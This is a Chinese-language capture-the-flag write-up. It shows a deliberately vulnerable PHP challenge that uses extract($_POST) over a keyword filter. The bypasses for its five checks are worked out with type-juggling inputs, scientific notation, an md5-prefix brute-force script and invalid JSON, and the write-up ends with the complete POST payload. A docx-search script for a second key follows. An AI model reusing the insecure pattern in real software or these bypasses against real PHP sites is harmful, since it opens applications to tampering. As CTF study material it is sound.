PS:看到WP后血壓拉滿
part 1
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
var_dump($ppp);
echo "<br>";
var_dump($_POST);
if(isset($num1) && is_numeric($num1)){
die("非數字");
}
else{
if($num1 > 1024){
echo "第一層";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二層";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三層";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四層";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五層";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
?>
傳參方式
有個extract($_POST);它把數組鍵名作為變量名,使用數組鍵值作為變量值。針對數組中的每個元素,將在當前符號表中創建對應的一個變量。
由一段代碼引發的慘案,md5繞過,foreach,php偽協議
最后是這樣的格式,它自動把引號加上的
ppp[number1]=xxx&ppp[number2]=xxx&ppp[number3]=xxx&ppp[number4]=xxx&ppp[number5]=xxx
第一層
弱類型,1234a
第二層
科學計數法,9e9
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
第三層
腳本直接跑
import hashlib
def func(md5_val):
for x in range(50000000,100000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:7]==md5_val:
return str(x)
print func(raw_input('md5_val:'))
raw_input('ok')
61823470
第四層
科學計數法,0e99999
第五層
json_decode()
接受一個 JSON 編碼的字符串並且把它轉換為 PHP 變量
通過恰當的 PHP 類型返回在 json
中編碼的數據。值true
, false
和 null
會相應地返回 true
, false
和 null
。 如果 json
無法被解碼, 或者編碼數據深度超過了遞歸限制的話,將會返回null
。
1a
payload
ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a
part 2
沒找出來,可惜,真就直接找key就行了
import os
import docx
import time
import re
os.chdir('C:/Users/Lenovo/Desktop/qwb/five_month')
dires = os.listdir()
for dirss in dires:
os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}')
dirs = os.listdir()
#time.sleep(1)
for di in dirs:
os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}')
ds = os.listdir()
for d in ds:
path = (f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}' + f'/{d}')
# 完美的路徑
if re.search('(1|2|3|4|5).png', path) == None :
#print(path)跳過png
file = docx.Document(path)
for para in file.paragraphs :
x=para.text
if re.search('KEY2',x) != None :
print(path)
有五張圖片,當時被這個帶偏了,去看misc了
現在想想可能是用來干擾腳本的
得到兩個KEY,提交即可